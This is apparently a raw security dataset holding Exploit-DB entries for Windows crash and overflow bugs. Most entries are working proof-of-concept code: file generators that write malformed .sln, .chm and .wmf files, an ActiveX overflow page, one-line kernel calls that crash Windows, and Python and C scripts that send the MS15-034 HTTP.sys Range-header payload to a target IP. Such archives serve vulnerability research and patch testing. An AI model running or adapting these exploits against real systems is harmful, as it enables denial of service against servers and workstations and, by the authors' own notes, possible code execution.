deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5349
Description: Microsoft Visual InterDev 6.0 SP6 - '.sln' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-04-03
Author: shinnai

Exploit:
#usage: exploit.py FileName

import sys

print "--------------------------------------------------------------------------------"
print ' [PoC 2] Microsoft Visual InterDev 6.0 (SP6) ".sln" files Local Buffer Overflow'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " Execution of arbitrary code is possible, but it annoys me at the moment :)"
print "--------------------------------------------------------------------------------"

buff      = "a" * 264 + "bbbb" + "c" * 256

try:
    sln_file = \
        'Microsoft Visual Studio Solution File, Format Version 1.00\n'+\
        'Project("{}") = "' + buff + '"\n'+\ 
        'EndProject\n'
    
    out_file = open(sys.argv[1] + ".sln",'w')
    out_file.write(sln_file)
    out_file.close()
    print "\nFILE CREATION COMPLETED!\n"
except:
    print " \n -------------------------------------"
    print "  Usage: exploit.py FileName"
    print " -------------------------------------"
    print "\nAN ERROR OCCURS DURING FILE CREATION!"

# milw0rm.com [2008-04-03]
Exploit-DB #6244
Description: Microsoft Visual Studio - 'Msmask32.ocx' ActiveX Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-08-14
Author: Symantec

Exploit:
var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" 
width="10"><PARAM NAME="Mask" VALUE="';

var body1='"></OBJECT>';

var buf='';
for (i=1;i<=1945;i++){buf=buf+unescape("%0C");}


document.write(body+buf+body1);

# milw0rm.com [2008-08-14]
Exploit-DB #18024
Description: Microsoft Win32k - Null Pointer De-reference (PoC) (MS11-077)
Type: dos
Platform: windows
Date: 2011-10-23
Author: KiDebug

Exploit:
# Exploit Title: MS11-077 Win32k Null Pointer De-reference Vulnerability POC
# Date: 10/19/2011
# Author: KiDebug
# Version: Windows XP SP3 32bit
# Tested on: Windows XP SP3 32bit
# CVE : CVE-2011-1985

# Exploit Code. Only a single line of code can cause BSOD:

#include <Windows.h>

void main()
{
 SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);
}

or:

#include <Windows.h>

void main()
{
 SendNotifyMessage((HWND)-1,CB_ADDSTRING,0,0);
}

Those messages can aslo cause BSOD:

// CB_ADDSTRING             0x0143
// CB_INSERTSTRING          0x014A
// CB_FINDSTRING            0x014C
// CB_SELECTSTRING          0x014D
// CB_FINDSTRINGEXACT       0x0158
// LB_ADDSTRING             0x0180
// LB_INSERTSTRING          0x0181
// LB_SELECTSTRING          0x018C
// LB_FINDSTRING            0x018F
// LB_FINDSTRINGEXACT       0x01A2
// LB_INSERTSTRINGUPPER     0x01AA
// LB_INSERTSTRINGLOWER     0x01AB
// LB_ADDSTRINGUPPER        0x01AC
// LB_ADDSTRINGLOWER        0x01AD


0: kd> r
eax=0000001b ebx=ee0af1fa ecx=ffffffff edx=bbdd0650 esi=ffffffff edi=ee21fd64
eip=bf914e9b esp=ee21fd08 ebp=ee21fd08 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
win32k!NtUserfnINCBOXSTRING+0x8:
bf914e9b 8b4120          mov     eax,dword ptr [ecx+20h] ds:0023:0000001f=????????

0: kd> kp
ChildEBP RetAddr 
ee21fd08 bf80ef2b win32k!NtUserfnINCBOXSTRING+0x8
ee21fd40 8054261c win32k!NtUserMessageCall+0xae
ee21fd40 7c92e4f4 nt!KiFastCallEntry+0xfc
0012ff2c 77d194be ntdll!KiFastSystemCallRet
0012ff5c 00401015 USER32!NtUserMessageCall+0xc
0012ff78 0040114c 1!main(void)+0x15 [[r:\temp\1\1.cpp @ 6]
0012ffc0 7c817067 1!__tmainCRTStartup(void)+0x10b [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 278]
0012fff0 00000000 kernel32!BaseProcessStart+0x23
Exploit-DB #7720
Description: Microsoft Windows - '.chm' Denial of Service (HTML Compiled)
Type: dos
Platform: windows
Date: 2009-01-11
Author: securfrog

Exploit:
################################################################################################################################
#MS Windows .CHM Denial of Service (html compiled)
#
##########################################################################################################################################
#!/usr/bin/perl

use strict;

my $chm =
"\x49\x54\x53\x46\x03\x00\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x2d\x83\xe7\x69\x09".
"\x18\x00\x00\x10\xfd\x01\x7c\xaa\x7b\xd0\x11\x9e\x0c\x00\xa0\xc9\x22\xe6\xec\x11".
"\xfd\x01\x7c\xaa\x7b\xd0\x11\x9e\x0c\x00\xa0\xc9\x22\xe6\xec\x60\x00\x00\x00\x00".
"\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x54".
"\x10\x00\x00\x00\x00\x00\x00\xcc\x10\x00\x00\x00\x00\x00\x00\xfe\x01\x00\x00\x00".
"\x00\x00\x00\xb8\x46\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49".
"\x54\x53\x50\x01\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
open(out, "> test.chm");
binmode(out);
print (out $chm);
close(out);

# milw0rm.com [2009-01-11]
Exploit-DB #3419
Description: Microsoft Windows - '.doc' Malformed Pointers Denial of Service
Type: dos
Platform: windows
Date: 2007-03-06
Author: Marsu

Exploit:
/*****************************************************************************\
*            Microsoft Windows .doc File Malformed Pointers DoS               *
*                                                                             *
*                                                                             *
*                                                                             *
* Just move your mouse on the file and explorer crashes. If it does not try   *
* to look at file properties.                                                 *
* Bug comes from Ole32.dll:                                                   *
* CMP DWORD PTR DS:[EAX+EBX],3 and we can set EAX, EDX and ESI with arbitrary *
* values.                                                                     *
*                                                                             *
* Check the file, magic offsets are                                           *
* 4460 -> EDX                                                                 *
* 4519 -> ESI                                                                 *
*                                                                             *
*                                                                             *
* Successfully tested on Windows 2000 SP4 FR and XP SP2 FR.                   *
*                                                                             *
*                Coded by Marsu <MarsupilamiPowa@hotmail.fr>                  *
\*****************************************************************************/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3419.tar (03062007-Explorer_Crasher.tar)

# milw0rm.com [2007-03-06]
Exploit-DB #17978
Description: Microsoft Windows - '.fon' Kernel-Mode Buffer Overrun (PoC) (MS11-077)
Type: dos
Platform: windows
Date: 2011-10-13
Author: Byoungyoung Lee

Exploit:
# Exploit Title: MS11-077 .fon buffer overrun kernel-mode drivers exploit
# Google Dork: [if relevant] �(we will automatically add these to the GHDB)
# Date: 10/12/2011
# Author: Byoungyoung Lee, http://www.cc.gatech.edu/~blee303/
# Software Link:
# Version: Windows 7 32bit, fully patched until Sep. 2011
# Tested on: Windows 7 32bit
# CVE : CVE-2011-2003

Exploit is downloadable from:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17978.tar.gz (my.fon.tar.gz)

http://exploitshop.wordpress.com/2011/10/12/ms11-077-vulnerabilities-in-windows-kernel-mode-drivers-could-allow-remote-code-execution-2567053/

Byoungyoung
Exploit-DB #3693
Description: Microsoft Windows - '.hlp' Local HEAP Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-04-09
Author: muts

Exploit:
MS Windows .HLP File Local HEAP Overflow PoC 0day

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3693.hlp.tgz (04092007-evil1.hlp.tgz)

# milw0rm.com [2007-04-09]
Exploit-DB #14282
Description: Microsoft Windows - 'cmd.exe' Unicode Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2010-07-08
Author: bitform

Exploit:
# Exploit Title: cmd.exe Unicode Buffer Overflow (SEH)
# Date: 7/8/2010
# Author: bitform
# Software Link: N/A
# Version: N/A
# Tested on: Windows Server 2003 SP2 and Windows XP SP2
# CVE : none

1) Acknowledgements

Props to Dan Crowley (@dan_crowley) at Core Security Technologies
for doing the research on Windows File Pseudonyms and coming up
with the idea for this buffer overflow.

His presentation can be found here:
www.sourceconference.com/bos10pubs/windows%20file%20pseudonyms.pptx

2) Bug

The TYPE command in Windows is equivalent to cat in *nix. It simply
outputs the contents of a file to stdout. If you use TYPE in conjunction
with the device file CON, you can feed stdin into a file.

Example: TYPE CON > evil.txt

CON is also interpreted as a file so you can append an extension to
it. Supplying a overly large extension will overflow the structured
exception handler.

This buffer overflow is not exploitable since cmd.exe and it's DLLs
are all compiled with SafeSEH. Oh well. :D

3) Code

TYPE CON.<A * 626><B * 2><C * 2372>

Note: The two B's is where the SEH is overwritten.
Exploit-DB #45624
Description: Microsoft Windows - 'FSCTL_FIND_FILES_BY_SID' Information Disclosure
Type: dos
Platform: windows
Date: 2018-10-16
Author: Google Security Research

Exploit:
Windows: FSCTL_FIND_FILES_BY_SID Information Disclosure
Platform: Windows 10 (1709, 1803)
Class: Information Disclosure / Elevation of Privilege

Summary: The FSCTL_FIND_FILES_BY_SID control code doesn’t check for permissions to list a directory leading to disclosure of file names when a user is not granted FILE_LIST_DIRECTORY access.

Description: The FSCTL_FIND_FILES_BY_SID is documented to return a list of files in a directory for a specific owner. This only works when Quotas are tracked on the device which isn’t a default configuration, but could be common especially on shared terminal servers. The FSCTL code is specified for FILE_ANY_ACCESS so it’s possible to issue it for any handle on a directory regardless of the access granted, including SYNCHRONIZE. 

At least when run on an NTFS volume no check seems to occur later in the process to ensure the caller would have some sort of access to the directory which would grant them the ability to list the directory. This allows a less privileged attacker to list the file names in a directory which they’ve been granted some access, but not FILE_LIST_DIRECTORY access. A good example of such a directory on a standard installation is the Windows\Temp folder, which grants creation access to BUILTIN\Users but not the ability to list the files. This is used in part as a security measure to allow system services to create files and folders in that directory which a normal user can’t easily list. 

Proof of Concept:

I’ve provided a PoC as a C# project. It will take a path to a directory (which must be on a quota tracking volume), open that directory for Synchronize access and then list files belonging to the current owner. I have tested querying other user SIDs such as BUILTIN\Administrator so it’s not some bypass due to the current user. Note that this just simulates the behavior by only opening for Synchronize access, but I have also tested it works on directories where the user hasn’t been granted FILE_LIST_DIRECTORY.

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Ensure the volume has quota tracking enabled. You can enable it from the command line with ‘fsutil quota track X:’ as an administrator.
3) Run the poc, passing the path to a directory on the volume containing files owned by the current user.

Expected Result:
An error should be returned indicating the user can’t access the directory.

Observed Result:
The files owned by the user are listed to the console.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45624.zip
Exploit-DB #4337
Description: Microsoft Windows - 'gdi32.dll' Denial of Service (MS07-046)
Type: dos
Platform: windows
Date: 2007-08-29
Author: Gil-Dong / Woo-Chi

Exploit:
/*
 * MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code
 
 * by Hong Gil-Dong & Chun Woo-Chi

 * Yang yeon(?~1542), Korea
 * "I shall keep clenching my left fist unitl i see the real tao".

 * This POC is only for test. If an application read a malformed wmf 
 * file like this POC, the application will be crashed. If you apply 
 * this code, you can execute an arbitrary code.
 *

 * We tested this code on Windows XP SP2 Korean Edition 
 * (GDI32.dll version 5.1.2600.3099). But it will work well on other
 * systems.
 */

#include <stdio.h>
#include <windows.h>

#define WMF_FILE "ms07-046.wmf"

void usage(void);

int main()
{
	
	FILE *fp;

	char wmf[] = "\x01\x00\x09\x00\x00\x03\x11\x00\x00\x00\x00\x00"\
                 "\x05\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x13\x02"\
                 "\x32\x00\x96\x00\x03\x00\x00\x00\x00\x00";
	int i;
	
	HMETAFILE srcMeta;

    usage();

	if ((fp = fopen(WMF_FILE, "w")) == NULL) {
                printf("File %s write error\n", WMF_FILE);
                return 0;
	}

	for(i=0; i<sizeof(wmf)-1; i++)
		fputc(wmf[i], fp);

	fclose(fp);

    srcMeta = GetMetaFile(WMF_FILE);
    CopyMetaFile( srcMeta, NULL);

    return 0;
}

void usage(void) 
{
   printf("MS07-046 Windows Meta File RecordParms Integer Overflow \n");
   printf("Proof of Concept by Hong Gil-Dong & Chun Woo-Chi \n");
      
}

// milw0rm.com [2007-08-29]
Exploit-DB #41363
Description: Microsoft Windows - 'gdi32.dll' EMR_SETDIBITSTODEVICE Heap Out-of-Bounds Reads / Memory Disclosure
Type: dos
Platform: windows
Date: 2017-02-15
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=992

In issue #757, I described multiple bugs related to the handling of DIBs (Device Independent Bitmaps) embedded in EMF records, as implemented in the user-mode Windows GDI library (gdi32.dll). As a quick reminder, the DIB-embedding records follow a common scheme: they include four fields, denoting the offsets and lengths of the DIB header and DIB data (named offBmiSrc, cbBmiSrc, offBitsSrc, cbBitsSrc). A correct implementation should verify that:

1) cbBmiSrc is within expected bounds, accounting for the DIB header, color palette etc.
2) the (offBmiSrc, offBmiSrc + cbBmiSrc) region resides within the record buffer's area.
3) cbBitsSrc is within expected bounds, and especially that it is larger or equal the expected number of bitmap bytes.
4) the (offBitsSrc, offBitsSrc + cbBitsSrc) region resides within the record buffer's area.

In the previous bug, I listed various combinations of missing checks in at least 10 different records:

- EMR_ALPHABLEND
- EMR_BITBLT
- EMR_MASKBLT
- EMR_PLGBLT
- EMR_STRETCHBLT
- EMR_TRANSPARENTBLT
- EMR_SETDIBITSTODEVICE
- EMR_STRETCHDIBITS
- EMR_CREATEMONOBRUSH
- EMR_EXTCREATEPEN

As part of MS16-074, some of the bugs were indeed fixed, such as the EMR_STRETCHBLT record, which the original proof-of-concept image relied on. However, we've discovered that not all of the DIB-related problems are gone. For instance, the implementation of EMR_SETDIBITSTODEVICE (residing in the MRSETDIBITSTODEVICE::bPlay function) still doesn't enforce condition #3. As a result, it is possible to disclose uninitialized or out-of-bounds heap bytes via pixel colors, in Internet Explorer and other GDI clients which allow the extraction of displayed image data back to the attacker.

The proof-of-concept file attached here consists of a single EMR_SETDIBITSTODEVICE record (excluding the header/EOF records), which originally contained a 1x1 bitmap. The dimensions of the DIB were then manually altered to 16x16, without adding any more actual image data. As a consequence, the 16x16/24bpp bitmap is now described by just 4 bytes, which is good for only a single pixel. The remaining 255 pixels are drawn based on junk heap data, which may include sensitive information, such as private user data or information about the virtual address space. I have confirmed that the vulnerability reproduces both locally in Internet Explorer, and remotely in Office Online, via a .docx document containing the specially crafted EMF file.

It is strongly advised to perform a careful audit of all EMF record handlers responsible for dealing with DIBs, in order to make sure that each of them correctly enforces all four conditions necessary to prevent invalid memory access (and subsequent memory disclosure) while processing the bitmaps.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41363.zip
Exploit-DB #36773
Description: Microsoft Windows - 'HTTP.sys' (PoC) (MS15-034)
Type: dos
Platform: windows
Date: 2015-04-15
Author: rhcp011235

Exploit:
/*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

	8a8b2112 56              push    esi
	8a8b2113 6a00            push    0
	8a8b2115 2bc7            sub     eax,edi
	8a8b2117 6a01            push    1
	8a8b2119 1bca            sbb     ecx,edx
	8a8b211b 51              push    ecx
	8a8b211c 50              push    eax
	8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

	BY: john.b.hale@gmai.com
	Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
	int sockfd = 0, n = 0;

	 struct sockaddr_in serv_addr;
	 struct hostent *server;

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
        	printf("\n Error : Could not create socket \n");
        	return 1;
    	}

	memset(&serv_addr, '0', sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(80);
	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    	{
        	printf("\n inet_pton error occured\n");
        	return 1;
    	}
	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    	{
       		printf("\n Error : Connect Failed \n");
      		return 1;
    	} 

	return sockfd;
}
	

int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0[PII_REDACTED][PII_REDACTED]\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
		printf("[*] NOT IIS\n");
		exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
	printf("[*] Looks Patched");
} else
	printf("[*] Unexpected response, cannot discern patch status");
	

		

}
Exploit-DB #36776
Description: Microsoft Windows - 'HTTP.sys' HTTP Request Parsing Denial of Service (MS15-034)
Type: dos
Platform: windows
Date: 2015-04-16
Author: laurent gaffie

Exploit:
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:	
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18[PII_REDACTED][PII_REDACTED]\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)
Exploit-DB #41615
Description: Microsoft Windows - 'LoadUvsTable()' Heap Buffer Overflow
Type: dos
Platform: windows
Date: 2017-03-15
Author: Hossein Lotfi

Exploit:
# Date: 15-03-2017
# Author: Hossein Lotfi (https://twitter.com/hosselot)
# CVE: CVE-2016-7274

1. Description

An integer overflow error within the "LoadUvsTable()" function of usp10.dll
can be exploited to cause a heap-based buffer overflow. Full analysis is
available at:

http://blogs.flexerasoftware.com/secunia-research/2016/12/microsoft_windows_loaduvstable_heap_based_buffer_overflow_vulnerability.html


2. Proof of Concept

open “C:\Windows\Fonts\phagspa.ttf” in a hex editor and change the value at
offset 0x2051 from 0x00000006 to 0x33333334.


3. Solution:

Microsoft initially tried to fixed the issue in MS16-147, but the fix was
incomplete and the issue remained unpatched til Microsoft March 2017 patch
release:

https://twitter.com/hosselot/status/[PII_REDACTED]37251584

It appears MS17-013 finally fixed the vulnerability properly:

https://technet.microsoft.com/en-us/library/security/ms17-013.aspx

@hosselot
Exploit-DB #2967
Description: Microsoft Windows - 'MessageBox' Memory Corruption Local Denial of Service
Type: dos
Platform: windows
Date: 2006-12-20
Author: anonymous

Exploit:
// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
 [DllImport("user32.dll")]
 unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

 static unsafe void Main()
 {
   byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
   uint MB_SERVICE_NOTIFICATION = 0x00200000u;
   fixed(byte* pHelloBug = &helloBug[0])
   {
     for(int i=0; i<10; i++)
       MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
   }
 }
}
// >> csc /unsafe mbox.cs
// >> mbox.exe

// milw0rm.com [2006-12-20]
Exploit-DB #38793
Description: Microsoft Windows - 'ndis.sys' IOCTL 0x170034 (ndis!ndisNsiGetIfNameForIfIndex) Pool Buffer Overflow (MS15-117)
Type: dos
Platform: windows
Date: 2015-11-23
Author: Nils Sommer

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=516

The attached testcase crashes Windows 7 32-bit due to a pool buffer overflow in an ioctl handler. Enabling special on ndis.sys netio.sys and ntoskrnl helps to track down the issue, however it will crashes due to a bad pool header without special pool as well.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38793.zip